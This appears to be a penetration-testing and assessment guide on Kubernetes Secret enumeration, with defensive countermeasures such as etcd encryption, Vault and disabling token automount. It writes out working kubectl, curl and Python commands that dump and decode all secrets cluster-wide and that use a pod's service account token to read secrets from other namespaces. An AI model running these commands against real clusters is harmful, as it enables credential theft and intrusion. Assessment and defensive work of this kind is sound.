Kubernetes Secret Enumeration in Cluster: Namespace Traversal and Sensitive Data Extraction

Why This Matters

A 2021 Aqua Security threat intelligence report found that in 65% of analysed real-world Kubernetes cluster compromises, the attacker's first post-access action was to enumerate Kubernetes Secrets. The finding was consistent across all attack types — cryptojacking, data exfiltration, and ransomware. Kubernetes Secrets are the standard mechanism for storing credentials in Kubernetes, but the default storage behaviour — base64 encoding in etcd without encryption — means that any principal with API server read access to Secrets can instantly obtain plaintext credentials. The misunderstanding that base64 constitutes encryption is pervasive: developers frequently treat Kubernetes Secrets as a secure vault equivalent without enabling etcd encryption at rest, auditing RBAC access to the secrets API, or using a dedicated secrets management solution.

Core Concept

Kubernetes Secrets are API objects that store key-value pairs of sensitive data. They are stored in etcd — the cluster's distributed key-value store. By default, etcd stores Secret values as base64-encoded strings without any additional encryption. Base64 is an encoding, not encryption: it is entirely reversible with a single command (echo "dGVzdA==" | base64 -d). Any principal with network access to etcd (typically restricted to the control plane) or with secrets: get/list permissions on the Kubernetes API can read the plaintext values.

Encryption at rest for Secrets requires explicit configuration of an EncryptionConfiguration resource in the API server that specifies an encryption provider (AES-CBC, AES-GCM, or KMS). This is not enabled by default in any major Kubernetes distribution. When enabled, values are encrypted before being written to etcd, but are decrypted transparently when read through the API — so RBAC access to the secrets API is still the primary control.

From within a pod, secrets can be accessed through two mechanisms: volume mounts (the secret is projected as files into a directory in the container filesystem) or environment variable injection (the secret value is set as an environment variable at pod startup). In both cases the value is already decrypted by the Kubelet.

An additional path is direct API access from within a pod: the auto-mounted service account token at /var/run/secrets/kubernetes.io/serviceaccount/token can be used to authenticate against the Kubernetes API server at the address provided by the KUBERNETES_SERVICE_HOST environment variable. If the service account has secrets: get permissions, any secret in scope can be read via an HTTP GET request.

Sealed Secrets (Bitnami) and HashiCorp Vault with the Vault Agent Injector are the two most common production-grade remediation approaches. Both keep plaintext secrets out of etcd entirely.

Technical Deep-Dive

# ── External enumeration (authenticated with kubeconfig) ─────
# List all secrets across all namespaces
kubectl get secrets --all-namespaces -o wide

# Read a specific secret and decode all values
kubectl get secret db-credentials -n production -o json | 
  python3 -c "
import json, sys, base64
s = json.load(sys.stdin)
for k, v in s.get('data', {}).items():
    decoded = base64.b64decode(v).decode('utf-8', errors='replace')
    print(f'{k}: {decoded}')
"

# Get all secrets and decode in one pipeline
kubectl get secrets --all-namespaces -o json | 
  python3 -c "
import json, sys, base64
data = json.load(sys.stdin)
for item in data['items']:
    ns = item['metadata']['namespace']
    nm = item['metadata']['name']
    for k, v in item.get('data', {}).items():
        try:
            val = base64.b64decode(v).decode('utf-8', errors='replace').strip()
            print(f'[{ns}/{nm}] {k} = {val}')
        except Exception:
            pass
"

# ── In-pod API access (from a compromised pod) ────────────────
# Environment variables provided by Kubernetes
echo $KUBERNETES_SERVICE_HOST   # API server IP
echo $KUBERNETES_SERVICE_PORT   # API server port (usually 443)

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"

# List secrets in the pod's namespace
curl -s --cacert $CACERT 
  -H "Authorization: Bearer $TOKEN" 
  "${APISERVER}/api/v1/namespaces/${NS}/secrets" | python3 -m json.tool

# Read a specific secret from another namespace (if ClusterRole allows)
curl -s --cacert $CACERT 
  -H "Authorization: Bearer $TOKEN" 
  "${APISERVER}/api/v1/namespaces/production/secrets/db-credentials" | 
  python3 -c "
import json,sys,base64
d=json.load(sys.stdin)
for k,v in d.get('data',{}).items(): print(k,'=',base64.b64decode(v).decode())
"

# ── Check etcd encryption status ─────────────────────────────
# From a control plane node (if accessible)
kubectl get apiserver -o yaml | grep -A5 encryptionConfig
# Or check the API server pod spec
kubectl get pod kube-apiserver-NODE -n kube-system -o yaml | grep encryption

# ── Check automount setting ───────────────────────────────────
kubectl get pods --all-namespaces -o json | 
  jq '.items[] | select(.spec.automountServiceAccountToken != false) |
      {name: .metadata.name, ns: .metadata.namespace}'

Security Assessment Methodology

1. Enumerate accessible secrets — kubectl get secrets --all-namespaces. Record namespace, name, and type for each secret. Secret types include Opaque (application credentials), kubernetes.io/service-account-token (auto-generated SA tokens), kubernetes.io/tls (TLS certificates and private keys), and kubernetes.io/dockerconfigjson (registry credentials).
2. Decode and categorise secret contents — base64-decode all data fields. Categorise by sensitivity: cloud provider credentials (AWS, GCP, Azure), database passwords, API keys, TLS private keys, and signing keys.
3. Test in-pod API access — from within any compromised pod, use the mounted service account token to query the API server. Test whether the service account can read secrets beyond its own namespace.
4. Verify etcd encryption configuration — check API server manifests for --encryption-provider-config. Absence confirms plaintext etcd storage — this is a separate finding from RBAC access.
5. Audit automountServiceAccountToken settings — enumerate pods where auto-mounting is not explicitly disabled. Pods that do not need API server access should have automountServiceAccountToken: false in both the ServiceAccount and Pod spec.
6. Check secret access in RBAC — cross-reference the secrets found with the RBAC bindings to understand which service accounts and user identities can reach each secret.
7. Test Sealed Secrets / Vault integration — if a secrets management solution is present, verify its configuration: Sealed Secrets certificates, Vault agent sidecar injection policies, and whether any secrets bypass the solution and remain as plain Kubernetes Secrets.

Defensive Countermeasure — Enable etcd encryption at rest for Secrets using the KMS provider: configure an EncryptionConfiguration with kms as the first provider, backed by AWS KMS, GCP Cloud KMS, or Azure Key Vault. This ensures that even direct etcd access does not expose plaintext secrets. Concurrently, migrate all application secrets to HashiCorp Vault with the Vault Agent Injector or use the Secrets Store CSI Driver with a cloud-native secrets manager. Set automountServiceAccountToken: false on all ServiceAccount objects and explicitly enable it only on pods that require API server access.

Common Assessment Errors

• Treating base64 as a security control — a developer or reviewer marking a secret as "base64 encoded" and therefore protected is a red flag. Always decode and show the plaintext value in the finding.
• Missing kubernetes.io/dockerconfigjson secrets — these contain base64-encoded Docker registry credentials. If the registry is a private ECR/GCR/ACR, the credentials may grant access to proprietary images or CI artefacts.
• Not testing projected token expiry — Kubernetes 1.21+ uses short-lived projected tokens (default 1-hour expiry). An old token from a running pod may have expired; re-read the current token from the file rather than using a cached value.
• Overlooking ConfigMaps for sensitive data — developers sometimes store credentials in ConfigMaps instead of Secrets because ConfigMaps lack the Opaque type label that draws attention. Enumerate ConfigMaps alongside Secrets.
• Assuming Sealed Secrets are unreadable — Sealed Secrets are encrypted for a specific cluster's private key. If the Sealed Secrets controller's private key is accessible (stored as a standard Kubernetes Secret in kube-system), all Sealed Secrets can be decrypted.
• Not checking the etcd backup — if etcd backups are stored in S3 or another cloud object store, and those backups predate the enabling of encryption at rest, the backup files contain all historical secrets in plaintext.

NICE Framework Alignment

Further Reading

• "Kubernetes Secrets: Risks, Vulnerabilities, and Best Practices" — Aqua Security Blog (2021)
• "Encrypting Secret Data at Rest" — Kubernetes Official Documentation
• "Vault Agent Injector for Kubernetes" — HashiCorp Documentation